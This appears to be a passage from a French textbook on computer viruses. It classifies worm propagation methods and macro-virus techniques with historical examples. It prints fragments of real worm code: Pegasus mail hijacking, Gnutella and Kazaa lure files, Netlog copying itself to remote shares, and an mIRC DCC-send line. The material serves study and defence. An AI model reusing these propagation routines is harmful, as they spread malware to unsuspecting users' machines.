PAGET_Ch06 Page 200 Lundi, 11. avril 2005 5:24 17
200
Chapitre 6. Les vers
du premier qui n’implémentait pas correctement le champ du destinataire et le laissait à blanc. Les 2 macro-virus utilisent donc la même méthode. Une fois le répertoire de l’application détecté, ils recherchent dans son arborescence les fichiers prêts à être envoyés (.pmw). Utilisant les informations décrivant le destinataire et le sujet du mail, ils ajoutent les champs nécessaires pour l’envoi complémentaire du corps du message et du document infecté actif en pièce jointe. Pegasus: […] With Application.FileSearch .FileName = "\*.pmw" .LookIn = pega_dir .SearchSubFolders = True .MatchTextExactly = True .FileType = msoFileTypeAllFiles .Execute pega_mail = .FoundFiles(Cos(Atn(CInt(1)))) End With […] Open pega_mail For Input As #1 Line Input #1, mail_1 Line Input #1, mail_2 Line Input #1, mail_3 Line Input #1, mail_4 Line Input #1, mail_5 Close #1 If mail_2 = "SY:0" Then GoTo no_mail file_Ready: random_1 = Second(Now) Open pega_dir & "\mail\" & random_1 * random_1 & ".pmw" For Append As #3 Print #3, mail_1 Print #3, "SY:0" Print #3, mail_4 Print #3, mail_5 & " :-)" Print #3, "CC:" Print #3, "EN:0" Print #3, "CS:0" Print #3, "RC:0" Print #3, "DC:0" Print #3, "UR:0" Print #3, "SS:0" Print #3, "SG:0" Print #3, "MI:1" Print #3, "ID:" Print #3, "EX:0" Print #3, "AT:" & active_doc; ",Binary,1" Print #3, "RT: 1" Print #3, "FL:0" Print #3, "" Print #3, random_message Close #3
PAGET_Ch06 Page 201 Lundi, 11. avril 2005 5:24 17
201
6.2 Classification
Vers du réseau Le langage interprété a également été parfois utilisé pour la mise aux points de vers s’infiltrant au travers des réseaux locaux ou poste à poste. MÉTHODE
CIBLE
EXEMPLE DE VIRUS
DATE
Autorisation d’extension
Poste à Poste (Gnutella)
VBS/GWV
03/00
Création de leurres à double extension
Poste à Poste (Kazaa)
VBS/Sludge.worm (SlageHammer)
0203
Fonction « copyfile »
Disques partagés locaux ou globaux
VBS/Netlog
03/03
Citons comme exemples : • VBS/GWV1. Il date de mai 2000 et s’attaque au réseau Gnutella, concurrent de Napster. Il modifie le fichier Gnutella.ini en y ajoutant l’extension .vbs dans la liste des extensions admises. Cela permet ensuite le transfert de ce nouveau type de fichiers :
© Dunod – La photocopie non autorisée est un délit
’ Behavior Control Parameters Dim NewFilenames, GnutellaPath, GnutellaIni, VictimFilename NewFilenames = Array(ProgramName & ".vbs", "Jenna Jameson movie listing.vbs", "Pamela Anderson movie listing.vbs", "Asia Carerra movie listing.vbs", "xxx FTP movie listing.vbs", "ASF Compressor (No quality loss).vbs", "collegesex.vbs", "Gladiator.vbs" […] GnutellaPath = "C:\Program Files\gnutella\" GnutellaIni = GnutellaPath + "gnutella.ini" VictimFilename = "Yet another GWV! " ’ (Gnutella Worm Victim :)
• VBS/Netlog. Utilisant des combinaisons de nombres aléatoires, il génère des séries d’adresses IP et tente de découvrir un disque distant contenant un répertoire Windows. Il se copie alors dans celui ci ainsi que dans le répertoire de démarrage en espérant être ainsi exécuté lors d’un redémarrage de la machine : … do do while driveconnected = "0" checkaddress() shareformat() wshnetwork.mapnetworkdrive "z:", sharename enumdrives() loop copyfiles() disconnectdrive() loop … 1. GWV – Gnutella Worm Victim.
PAGET_Ch06 Page 202 Lundi, 11. avril 2005 5:24 17
202
Chapitre 6. Les vers
function copyfiles() set fso = createobject("scripting.filesystemobject") fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.vbs", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.exe", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\msstar~1.exe", "z:\windows\startm~1\programs\startup\" end function … function shareformat() sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C" end function …
• VBS/Sludge. Proposé au téléchargement, le virus attend d’être rapatrié sur la machine de sa future victime. En local, un double-clic sur le fichier entraîne la création de fichiers leurres dans les répertoires partagés : files = array("10 naked teens.jpg","15yteenfuck.jpg","AdAware6.tar","illegalsex.jpg","kievgirl.jpg","Young russian teens.jpg","Bin Laden’s Home.doc","Kamasutra2003.doc","Bush is crazy(and stupid).doc","How To Rip DVDs.txt","Eminem – I am your father.mp3 ","Anton – Schwul oder was.mp3") kl = (Pgdir & "\kazaa lite\my shared folder") & "\" if fso.folderexists(kl) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if kazaa = (Pgdir & "\kazaa\my shared folder") & "\" if fso.folderexists(kazaa) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if bearshare = (Pgdir & "\bearshare\shared") & "\" if fso.folderexists(bearshare) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if edonkey = (Pgdir & "\edonkey2000\incoming") & "\" if fso.folderexists(edonkey) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if morpheus = (Pgdir & "\morpheus\my shared folder") & "\" if fso.folderexists(morpheus) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if rem Ikarus by SlageHammer
PAGET_Ch06 Page 203 Lundi, 11. avril 2005 5:24 17
203
6.2 Classification
Vers IRC Ils se propagent au travers des canaux IRC1 en remplaçant généralement le fichier d’initialisation du client script.ini. mIRC (prononciation murk) et Pirch sont les 2 applications IRC les plus touchées. Les vers sont conçus pour se propager d’un coup vers l’ensemble des internautes qui sont, à un instant donné, connecté sur le canal. Exécutés en réception sur une machine cible : • Ils localisent le répertoire de l’application IRC. • Ils modifient ou écrasent les fichiers script.ini (mIRC) ou events.ini (Pirch) avec leurs propres codes. Dans un second temps : • Ils interceptent généralement les commandes /JOIN pour rejoindre un salon et /DCC SEND pour se réexpédier. • Ils poursuivent leur propagation lorsque le destinataire (nick) double-clic, à son tour, sur la pièce reçue. Dans les versions mIRC inférieures à V5.3, il est ainsi possible d’écraser discrètement le fichier script.ini original par une version infectée. Tout comme les script.ini, les nombreuses variantes du virus Dmsetup.EXE se propagent par DCC Send en infectant entre autre le fichier mirc.ini. On retrouve généralement, une commande du type : N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }
© Dunod – La photocopie non autorisée est un délit
MÉTHODE SCRIPT.INI /DCC SEND MIRC.INI /DCC SEND
CIBLE IRC
IRC
EXEMPLE DE VIRUS
DATE
IRC/Acoragil
12/97
IRC/Theme.worm
09/01
Dmsetup.worm
08/98
6.2.2 Langage compilé On distingue 5 sous-familles de vers : • Sans sophistication et issus de l’assembleur. Ils utilisent toutes sortes de méthodes à l’exclusion des composants COM d’Outlook. Ils sont générale-
1. IRC – Internet Relay Chats.
PAGET_Ch06 Page 204 Lundi, 11. avril 2005 5:24 17
204
Chapitre 6. Les vers
ment des preuves par l’exemple. L’auteur cherche à démontrer son savoirfaire, par exemple : – W32/Fix@M. – W32/Ska@M. • Sophistiqués et issus de l’assembleur. Ils utilisent des techniques de camouflage avancé (polymorphie, point d’entrée obscur) et sont parfois des infecteurs de fichiers (EXE ou Wsock32.DLL). Ils utilisent généralement leur propre moteur SMTP, par exemples : – W32/MTX@M, avec OEP, – W32/Hybris@MM, avec plug-ins1, – W32/Magistr@MM, avec OEP, polymorphique, anti-heuristique, antidebugging, utilise son propre serveur SMTP. • Issus d’un compilateur C (Borland, Microsoft C, ou plus fréquemment Microsoft Visual C5 ou 6). Le code compilé est dans la première section, les données et constantes sont généralement non-cryptés et dans une section séparée. Ils font appels aux API Windows, aux librairies, à MSVCRT.DLL. Les composants COM d’Outlook sont rarement mis en œuvre. – W32/Bymer.worm. • Issus d’un compilateur Delphi. Le code compilé et les constantes sont en première section. Les constantes sont visibles (pas de cryptage) mais dispersées dans le code. La propagation se fait via SMTP ou MAPI. – W32/Blebla@MM. – W32/ExploreZIP@MM. • Issus d’un compilateur Visual Basic. Ils utilisent, pour la plupart, les composants COM d’Outlook. Le code exécutable compilé et les constantes sont en première section. – W32/Mylife@MM. • D’autres s’attaquent à MSN Messenger, par exemple : – W32/Choke.worm. – W32/Newpic.worm.
6.2.3 Méthodes de réplication Vers SMTP (Internet Simple Mail Transfer Protocol) Le ver construit l’intégralité du courrier électronique avec sa pièce jointe. Il véhicule son propre client e-mail et utilise directement le protocole SMTP.
1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.
PAGET_Ch06 Page 205 Lundi, 11. avril 2005 5:24 17
6.2 Classification
205
Pour fonctionner convenablement, il peut devoir reprendre certains paramètres liés à l’outil de messagerie présent sur la machine. Il peut aussi être autonome et s’en affranchir complètement. L’émission se fait donc : En utilisant les paramètres liés au serveur SMTP affecté à la machine. Ils peuvent être, par exemple, recherchés au travers de clés de registre telle que : HKCU\Software\Microsoft\Internet Account Manager\Accounts\ \SMTP Server HKCU\Software\Microsoft\Internet Account Manager\Accounts\ \SMTP Email Address HKCU\Software\Microsoft\Internet Account Manager\Accounts\ \SMTP Display Name
Ou de manière totalement indépendante. Les indications utiles à la transmission (adresse de l’expéditeur, serveurs SMTP…) sont véhiculées par le virus. Citons comme exemple, W32/Sircam@MM. Il a besoin des données SMTP de la machine cible mais transporte avec lui les paramètres de son émetteur immédiat. Il peut réutiliser les informations liées à cet antécédent en cas de besoin. Les vers de messagerie à forte propagation (suffixe @MM) entrent souvent dans cette catégorie. Nimda et Klez sont totalement indépendants du paramétrage SMTP de la machine. Ils se connectent directement au serveur distant qu’ils projettent d’utiliser. Notons également que :
© Dunod – La photocopie non autorisée est un délit
• Des fragments de messages sont souvent contenus dans le code. • Tels W32/Nimda@MM, certains vers utilisent des exploits MIME afin de s’activer sur une simple prévisualisation sous Outlook ou Outlook Express. • Les adresses des destinataires sont recherchées via la MAPI de Microsoft ou dans des fichiers préalablement repérés par leurs extensions (*.wab, *.pst, *.nab, *.html) ou via des pointeurs lus dans la base de registres : HKLM\Software\Microsoft\WAB\WAB4\Wab File Name HKLM\Software\Netscape\Netscape Navigator\Users HKLM\Software\Microsoft\Outlook Express\5.0
• L’adresse et le nom de l’expéditeur peuvent être falsifiés. Dans ce cas, l’adresse visible pour le destinataire n’est pas celle de l’émetteur réel. Cette technique d’usurpation d’adresse (ou spoofing) est très fréquente. • L’ouverture d’une connexion (un socket) est souvent réalisée par Wsock32.DLL ; quelquefois par WININET.DLL. Les programmes écrit en Visual Basic utilisent MSWINSCK.OCX. Le courrier est envoyé via des commandes SMTP souvent visibles dans le corps du ver : HELO, MAIL FROM, RCPT TO, SEND
PAGET_Ch06 Page 206 Lundi, 11. avril 2005 5:24 17
206
Chapitre 6. Les vers
Dans cette famille, il existe une sous classe qualifiée d’infecteurs Winsocks. Ils infectent des fichiers tels que Wsock32.DLL ou WS2_32.DLL. Ne pouvant immédiatement le modifier, les virus dupliquent la DLL. Ils patchent leur code dans cette copie pour y intercepter ou remplacer la fonction send. Au démarrage suivant de la machine, le fichier modifié vient remplacer l’original et le virus peut commencer son travail. Il analyse dynamiquement le trafic, intercepte les données transmises et les utilise pour l’émission d’un élément infecté. Il envoie généralement son propre message aux adresses pour lesquelles la victime émet un courriel. Dans ce cas, le message original de l’utilisateur est immédiatement suivi d’un second message, propre au virus. Citons dans cette catégorie : W32/Ska@M, W32/MTX@M, W32/Android@M, W32/Suppl@M et W32/Babylonia@M. Ce sont tous des infecteurs lents (suffixe @M). Alors que Ska utilise Uuencoding, MTX insère sa pièce jointe selon la méthode MIME-encoding1. De son coté, Babylonia ne crée pas son propre message mais s’attache directement à tout mail légitime émis. MÉTHODE SMTP
CIBLE Autonome : utilise son propre client e-mail API Winsocks
Fichiers Winsocks
EXEMPLE DE VIRUS
DATE
W32/Sircam@MMa
07/01
W32/Magistr@MMb
03/01
W32/Parvo@MMc (Griyo/29A)
12/98
W32/PrettyPack@MM
06/99
W32/Ska@M (Spanska)
01/99
W32/MTX@Md
09/00
a. FERRIE Peter et SZOR Peter (2001), SirCamstantial Evidence, Virus Bulletin, septembre 2001. pp 8-10. b. FERRIE Peter (2001), Magisterium Abraxas, Virus Bulletin, Mai 2001. pp 6-7. c. SZOR Peter, 1999b, Parvo – One Sick Puppy?, Virus Bulletin. Janvier 1999. pp 7-9. d. FITZGERALD, Nick (2000), MTX-treme, Virus Bulletin, novembre 2000. pp 6-7.
Vers MAPI (Microsoft Mail Application Interface) Ils utilisent MAPI32.DLL. Les commandes MAPI2 servent d’interface vers le serveur SMTP. Le vers contient des commandes du type : MAPILogon MAPIFindNext
1. MIME Encoding : Multipurpose Internet Mail Extensions Encoding. 2. MAPI : Messaging Application Programming Interface.
PAGET_Ch06 Page 207 Lundi, 11. avril 2005 5:24 17
207
6.2 Classification
MAPIReadMail MAPISendMail MÉTHODE Commandes MAPI
CIBLE Outlook
EXEMPLE DE VIRUS W32/Navidad@M
DATE 11/00
Vers OUTLOOK Ils utilisent les composants COM1 d’Outlook et sont pour la plupart écrit en Visual Basic. MÉTHODE Composants COM
CIBLE Outlook
EXEMPLE DE VIRUS W32/Mylife@MM
DATE 08/99
Implanteurs de Script VBS Ces vers transportent avec eux des scripts VBS qu’ils implantent et exécutent sur la machine à infecter. C’est le mode de propagation le plus simple pour un virus non écrit en Visual Basic. Le script implanté contient le code lié à la propagation (IRC, messagerie, etc.). La pièce jointe est constituée par l’exécutable. MÉTHODE Implanteur de VBS
CIBLE Diverses : celles de virus en langage interprété
EXEMPLE DE VIRUS W32/Urbe@MM
DATE 07/03
© Dunod – La photocopie non autorisée est un délit
Vers IRC Ils se propagent selon la méthode décrite plus haut (langage interprété). On retrouve généralement, non crypté dans le code du ver, la commande du type : N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE } MÉTHODE /JOIN /DCC SEND
CIBLE IRC
1. COM : Component Object Model.
EXEMPLE DE VIRUS W95/Fono (Vecna/29A)
DATE 08/98
PAGET_Ch06 Page 208 Lundi, 11. avril 2005 5:24 17
208
Chapitre 6. Les vers
Vers du réseau Les plus anciens se copient d’eux même sur les disques partagés, nous les avons décrit succinctement au chapitre 3. Les plus primitifs étaient les vers de disquettes. D’autres aujourd’hui se propagent au travers des réseaux poste à poste ou s’implantent automatiquement par l’exploitation de vulnérabilités connues et non patchées. Ces derniers ciblent les stations Windows, les serveurs WEB du type IIS1 ou SQL. MÉTHODE
CIBLE
EXEMPLE DE VIRUS
DATE
Copie de disque à disque
Toutes stations Windows
W32/Hayque.worm
02/02
Gestion des demandes de fichiers
Poste à poste
W32/Gnuman.worm (alias Mandragore, Gspot)
02/01
Ver automatique [MS03-026]
Stations Windows non patchées
W32/Blaster.worm
08/03
Ver automatique [MS03-007]
Stations Windows non patchées
W32/Nachi.worma (alias Welchia)
08/03
Ver automatique [MS01-033]
Serveurs IIS non patchés
W32/Codered.worm
07/01
Ver automatique [MS00-078]
Serveurs IIS non patchés
W32/Nimda@MM
09/01
Ver automatique [MS02-039]
Microsoft SQL Server 2000 Microsoft Desktop Engine (MSDE) 2000 non patchés
W32/SQLSlammer.worm
01/03
Ver automatique [MS04-011]
Windows XP Windows 2000
W32/Sasser.wormb
04/04
a. FERRIE Peter, PERRIOT Frédéric & SZOR Peter (octobre 2003), Worm Wars, Virus Bulletin, octobre 2003. pp 10-13. b. FERRIE Peter, PERRIOT Frédéric (octobre 2004), Mostly Harmless, Virus Bulletin, août 2004. pp 5-8.
Poste à poste W32/Gnuman.worm apparaît en 2001. Il cible Gnutella déjà touché, un an plus tôt, par VBS/GWV. Le virus se connecte au réseau comme un super node. Il est conçu pour gérer les demandes de fichiers et y répondre en réutilisant le nom réclamé auquel il adjoint l’extension .exe. Le virus a une faiblesse, le fait de chercher à répondre à l’ensemble des requêtes sature la machine qui l’accueille ; il n’est alors plus à même d’assurer efficacement les envois. Cette caractéristique ne permit pas la propagation escomptée par son auteur. 1. IIS : Microsoft Internet Information Server.
PAGET_Ch06 Page 209 Lundi, 11. avril 2005 5:24 17
209
6.2 Classification
Vers automatiques L’attaque se fait en 2 temps, généralement au travers de l’exploitation d’une vulnérabilité connue : • Depuis une machine infectée, le ver recherche un système vulnérable. Lorsque celui ci est repéré, le ver envoie un paquet spécifique mal formé vers le port lié à la vulnérabilité (exemple : port 445 pour le ver Sasser). L’exploitation de la vulnérabilité entraîne l’exécution d’une routine particulière transmise dans le paquet. • Cette routine initie le processus de rapatriement et d’auto exécution du code viral. Dans le cas de Sasser, elle autorise l’exécution de commandes arbitraires distantes au travers d’un autre port : le port 9996/TCP. La transmission se fait généralement de manière conventionnelle, via FTP. Le script qui gère le processus se termine par une instruction qui charge le ver en mémoire. Il participe alors à son tour à la recherche de nouvelles cibles potentielles. L’introduction du code se fait généralement selon la technique du débordement de tampon (en anglais, buffer overflow). Elle consiste à mettre en mémoire plus d’informations que celle ci n’est habilitée à en recevoir. Un système non vulnérable refusera le code en dépassement de limite. Sur un système vulnérable il y aura écrasement d’informations dans des zones contiguës qui sont normalement inaccessibles. En conséquence de ce recouvrement, il deviendra possible de faire exécuter un programme arbitraire avec des droits administrateurs. Le but est donc d’écraser une partie précise de la pile. Un simple saut (jump, call) astucieusement positionné pourra ensuite permettre l’exécution du script malicieux également contenu dans le paquet transmis.
Instant Messenger
© Dunod – La photocopie non autorisée est un délit
À la différence des canaux IRC, la messagerie instantanée est dédiée à la communication privée. Quelques virus ont été développés pour cette cible. Citons à titre d’exemple Choke ou Newpic. Ils s’installent en résidant par le biais d’une clé de registre particulière qui les chargent en mémoire à chaque démarrage de la machine. Lorsqu’un message entrant est détecté, le virus y répond de lui même. Le texte qui accompagne la pièce jointe est censé persuader le destinataire du bien fondé à cliquer dessus. MÉTHODE
CIBLE
EXEMPLE DE VIRUS
AOL 4.0
APStrojan.qa@MM
MSN Messenger
W32/Choke.worm
MSN Messenger v6.0
DATE 01/00
W32/Floodnet@MM
05/02
W32/Smibag.worma
09/03
a. REYES J.J & WONG Reginald (décembre 2003), It’s in the (smi)bag!, Virus Bulletin. Décembre 2003. pp 4-6.
PAGET_Ch06 Page 210 Lundi, 11. avril 2005 5:24 17
210
Chapitre 6. Les vers
Autres
Méthode Pegasus MÉTHODE
CIBLE
EXEMPLE DE VIRUS
Remplacement des messages en attente d’envoi
PEGASUS MAIL V3.x
HLLT.Toadie.7800a@MM
DATE 08/99
Avec HLLP.Toadie@MM, la méthode consiste à remplacer le contenu des courriers sortant par le message viral. La pièce jointe infectée est attachée au message et le texte, joint au fichier, remplace celui préparé par l’émetteur.
Méthodes Eudora Deux méthodes de propagation ont jusqu’ici été exploitées. MÉTHODE
CIBLE
EXEMPLE DE VIRUS
DATE
Création & exécution de .MSG
EUDORA MAIL
W32/Sysclock@MM
07/99
Via OUT.MBX & OUT.TOC
EUDORA MAIL
W16/RedTeam@MMa (The Soul Manager)
01/98
a. GORDON Sarah, PERRIOT Frédéric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.
La première consiste à créer de toute pièce un fichier message. W32/Sysclock utilise cette formule : • Recherche du répertoire d’installation. • Collecte des adresses dans le fichier Out.mbx. • Création du courriel infecté (User.msg), ajout des adresses collectées, mise en forme du sujet et du corps du message, attachement de la pièce jointe (c:\pkzip.exe). • Exécution de la commande Eudora sendmail. La seconde méthode fut utilisée par W16/Redteam : • Collecte des alias des contacts du carnet d’adresse (il s’agissait alors du fichier Nndbase.toc). • Ajout du message dans le fichier Out.mbx. • Modification de la table des expéditions Out.toc.
NNTP Ils utilisent les groupes de discussion pour se propager. Citons comme exemple certaines variantes de W32/Duksten@MM et W32/Torvil@MM.
PAGET_Ch07 Page 211 Lundi, 11. avril 2005 5:24 17
7 Macro-virus et virus de script
Ce chapitre n’abordera que les virus au sens strict du terme, les vers en langage interprété ont été développés au chapitre précédent. Les macro virus constituèrent un temps la principale menace et furent en tête des divers TOP-10 mondiaux. En France, on estimait qu’une machine sur 12 avait subit une attaque virale en 1997. À cette époque, 80 à 90 % de ces attaques étaient dues à des macro virus. Aujourd’hui, les macros virus ont quasiment disparus. La mise en place de protections efficaces au sein d’Office et la facilité des modes de détection génériques et heuristiques sont sans doute à l’origine de cette désaffection. Ces virus n’ont, de plus, qu’un faible intérêt technique. Ces diverses raisons nous amènent à n’aborder ici que quelques grandes lignes. Ce chapitre sera le plus court de ce livre.
7.1 MACRO-VIRUS Les macro-virus cherchent à infecter les documents créés par les logiciels de bureautique les plus répandus. Ces documents que l’on pouvait, il y a 10 ans, considérer comme de simples fichiers texte contiennent maintenant des listes d’instructions – ou macros – qui peuvent prendre un caractère malveillant. Les premiers macro-virus ont ciblé l’outil bureautique de Microsoft le plus répandu à l’époque : WORD-6 et WORD-7 (WORD-95). Ils étaient alors écrits en WORDBASIC (WB). Les versions suivantes d’Office ont adoptés le Visual Basic for Application (VBA). C’est avec ce langage que les virus ont ensuite été écrits.
PAGET_Ch07 Page 212 Lundi, 11. avril 2005 5:24 17
212
Chapitre 7. Macro-virus et virus de script
WORD et EXCEL ont toujours été privilégiés par les auteurs de virus. Des virus existent cependant sous ACCESS et POWERPOINT. Tous ces virus furent un temps recensés dans une liste intitulée Macro Virus List que l’on peut trouver sans problème sur Internet1. Ils sont classifiés par l’adjonction d’un préfixe repris par la plupart des concepteurs d’anti-virus. Tableau 7.1 — Préfixe des macros-virus selon leur cible PRÉFIXE
CIBLE
EXEMPLE
W1M
WORD1
W1M/Blur
W2M
WORD2
W2M/Polite.A
WM
WORD6 / WORD95
WM/Cap
W97M
WORD97 (Module)
W97M/Nightshade
W97M
WORD97 (Module de Classe)
W97M/Class
XM
EXCEL5 / EXCEL95
XM/Laroux
XF
EXCEL5 / EXCEL95 (Formule)
XF/Paix
X97M
EXCEL97 (Module)
X97M/Laroux
X97M
EXCEL97 (Module de Classe)
X97M/Sugar
AM
ACCESS2
AM/Accessiv.E
A97M
ACCESS97 (Module)
A97M/Accessiv.A
A97M
ACCESS97 (Macro)
A97M/Ssonic
PP97M
POWERPOINT97
PP97M/Vic
P98M
MS PROJECT 98
P98M/Corner.A
D’autres plates-formes, tels que Lotus Amipro/WordPro, Lotus 1-2-3, Corel 7-9 et Visio 5 ont fait l’objet de quelques attaques. Tableau 7.2 — Quelques exemples de macro-virus EXEMPLE
CIBLE Lotus AmiPro
APM/Green_Stripe.A
Lotus WordPro
LWP/Spenty
DATE 01/96
1. Bontchev Vesselin, Brunnstein Klauss et Dierks J. (1995-1999), Macro Virus List (PC + MACINTOSH). ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/
PAGET_Ch07 Page 213 Lundi, 11. avril 2005 5:24 17
213
7.1 Macro-virus
CIBLE
EXEMPLE
DATE
Corel DRAW Corel PHOTO-PAINT Corel VENTURA
CSC/CSV.A
05/99
Lotus123Macro
Dropper://Ramble.A
Visio 5
V5M/Unstable
MSWrite
Bozo.A
Windows32 HLP files
Win95/Ussu
08/99
Windows INF files
INF/Xver.ow
11/98
AutoCAD 2000
AC2kM/Star.A
01/00
Le langage de programmation utilisé étant indépendant du système d’exploitation, certains virus purent aussi se propager sur des plates-formes multiples (WINDOWS-3.11, 95, NT, MACINTOSH SYSTEME 7 ou SYSTEME 8) dès qu’elles accueillaient la même suite bureautique. Tous les outils bureautiques furent affectés. Pour mieux atteindre certaines cibles qui ne font pas l’objet d’échanges incessants entres utilisateurs, le concept de multiapplication fut remis à la mode (la terminologie multipartite est dédiée aux virus système et programme). Citons ici, O97M/Tristate qui cible conjointement WORD-97, EXCEL-97 et POWERPOINT-97. Mais tous les cas furent rencontrés comme le laisse envisager la table suivante. Tableau 7.3 — Quelques macro-virus multi-application
© Dunod – La photocopie non autorisée est un délit
CIBLE
FAMILLE DE VIRUS
DATE
W97M + X97M
W97M/Shiver + X97M/Shiver
09/98
W97M + X97M + PP97M
W97M/Tristate + X97M/Tristate + PP97M/Tristate
01/99
W97M + A97M
W97M/Cross + A97M/Tox
04/98
W97M + P98M
W97M/Corner + P98M/Corner
10/99
7.1.1 Mode de Fonctionnement sous Word Le principe de fonctionnement décrit ci dessous s’applique aux diverses versions d’Office. Cependant, au fil d’entre elles, de nombreuses protections ont été mises en œuvre et le déroulement d’infections tel qu’elles sont développées dans l’ensemble de ce chapitre ne peuvent plus se faire silencieusement. Soit le processus est bloqué, soit l’utilisateur reçoit des messages d’alertes qui l’incitent à la prudence.
PAGET_Ch07 Page 214 Lundi, 11. avril 2005 5:24 17
214
Chapitre 7. Macro-virus et virus de script
Aujourd’hui, seul un utilisateur ayant volontairement réduit au minimum son niveau de sécurité se trouve vulnérable face à ce mode opératoire : • Le virus contamine l’environnement de travail par le biais de macros automatiques. • Il infecte les documents par le biais d’instructions standards redéfinies : – Détournement de macros standards ou, – Remplacement de menus ou, – Redéfinition de boutons ou de touches fonction. Dans un premier temps, les macro-virus furent souvent dépendants du langage national. Ces nouveaux venus étant quasi exclusivement développés sur des versions anglophones, la France fut un temps préservée. Faciles à réaliser, les virus se sophistiquèrent. Bon nombre d’entre eux surent se propager sans problème avec les versions anti-SR1 d’OFFICE 97 qui présentait pourtant quelques éléments de protection supplémentaires. Il fallut attendre Office 2000 pour voir s’éloigner cette menace. Tableau 7.4 — Degré de sophistication de quelques macro-virus VIRUS
FURTIF
CRYPTE
POLYMORPHE
Concept.A
-
-
-
Wazzu.A
-
-
-
NPAD.A
-
OUI
-
MDMA
-
OUI
-
Colors
OUI
OUI
-
Outlaw
OUI
OUI
OUI
Chaque fois qu’un nouveau document est créé, WORD charge, puis utilise, les valeurs par défaut du modèle normal.dot. Ce fichier, appelé modèle global, est en fait un document spécial qui contient des paramètres prédéfinis destinés à faciliter la mise en forme et l’élaboration des documents. Il peut contenir : • • • • • •
Du texte et de la mise en forme. Des styles. Des insertions automatiques. Des macros. Des affectations de menus et de touches. Des barres d’outils.
Le modèle global est automatiquement sauvé à la fin de chaque session et automatiquement chargé au démarrage de WORD. L’objectif premier d’un macro-virus est donc de l’infecter en priorité. L’environnement de travail se trouvera ainsi tou-
PAGET_Ch07 Page 215 Lundi, 11. avril 2005 5:24 17
7.1 Macro-virus
215
ché en permanence et l’infection pourra, selon les cas, se propager à tous les documents ouverts, fermés ou créés.
Techniques de base À l’ouverture d’un document, WORD examine en premier si celui-ci contient des macros. Si une macro automatique est présente et que les règles de sécurité sont faibles (c’était le cas avec les premières versions d’Office), elle est exécutée sans préavis : • AutoOpen à l’ouverture du document. • AutoClose à la fermeture du document. Une première technique d’infection cherchant à intégrer dans le modèle global des macros reprenant les noms ci-dessus permit l’infection immédiate des documents manipulés (ouvert ou fermé). Conjointement à ces macros, le virus supplantait la macro intégrée FichierEnregistrerSous (FileSaveAs) par une autre macro. Elle portait le même nom et était sauvegardée dans le modèle global. C’est cette double technique qu’utilisa le virus WM/Concept.A. Ce premier type de virus est donc dépendant du langage national. WM/Wazzu contourne cette limitation. Il ne contient qu’une seule macro automatique AutoOpen : • À l’ouverture d’un document infecté, la macro se copie dans le modèle global et l’infecte. • À l’ouverture d’un document sain, qui ne contient pas de macro, c’est cette nouvelle macro, contenue dans le modèle global infecté, qui est exécutée et qui infecte immédiatement le document. Partant de la même idée, le macro-virus WM/MDMA ne possède qu’une seule macro AutoClose.
© Dunod – La photocopie non autorisée est un délit
L’intérêt de ce virus réside en son cryptage. En effet, les virus examinés jusqu’ici étaient faciles à étudier (et malheureusement faciles à modifier !) : il suffisait d’éditer la ou, les, macros avec la commande de l’époque Outils/Macro/Modifier. Dans le cas présent, cette possibilité était interdite. Les autres intérêts de MDMA sont : • L’utilisation de fonction. • La manipulation des registres sous Windows-95. Abordons maintenant les techniques de furtivité. Un virus furtif doit cacher sa présence à l’utilisateur. Une première méthode simpliste consiste à désactiver la commande Outils/Macro. Cette technique semi-furtive a été proposée avec le virus WM/Colors1. Dans le cas présent, l’appel du sous-menu Outils/macro ne fait que ramener l’utilisateur sur son document de travail. 1. The macro virus writing tutorial. Document de Dark Night.
PAGET_Ch07 Page 216 Lundi, 11. avril 2005 5:24 17
216
Chapitre 7. Macro-virus et virus de script
D’autres virus éliminèrent également les entrées OutilsPersonnaliser et FichierModèles. Cette technique a cependant ses limites. La commande Outils/Macro (WORD français) est liée à la macro intégrée OutilsMacro (WORD français) ; son équivalent anglais est ToolsMacro. La mise en place de la macro de substitution, qui porte le même nom, rend donc le virus dépendant du langage national. Cette limite fut contournée par le virus WM/CAP. Avec lui, quelque soit la version linguistique rencontrée, il recherche et supprime des menus les entrées Outils/Macro et Fichier/Modèles. Colors et CAP ne sont pas totalement furtifs. Un utilisateur averti se rend compte d’un certain dysfonctionnement en ne retrouvant pas intact sont environnement de travail habituel. Le virus WM/Hassle est plus sophistiqué. À l’appel de OutilsMacro, il renvoie à l’utilisateur une fenêtre identique à celle présentée en standard en ne visualisant aucune macro. La polymorphie fut un autre aspect de la relative sophistication de certains macro-virus. Bien qu’il soit simple, le virus WM/Futurenot est : • Polymorphe pour le nom d’une des macros (variable sur 5 caractères). • Polymorphe dans son code viral : – Nom d’une variable texte sur 3 caractères. – Positionnement quelconque d’une nouvelle ligne de commentaire durant chaque infection (texte fixe). – Insertion de 2 lignes de commentaire (valeur d’un nombre aléatoire). – Modification de l’intitulé de 2 commandes par adjonction d’espaces. – Insertion de lignes blanches. Le virus modifie le fichier autoexec.bat en ajoutant une ligne de commande qui ôte l’attribut de lecture seule au fichier modèle normal.dot.
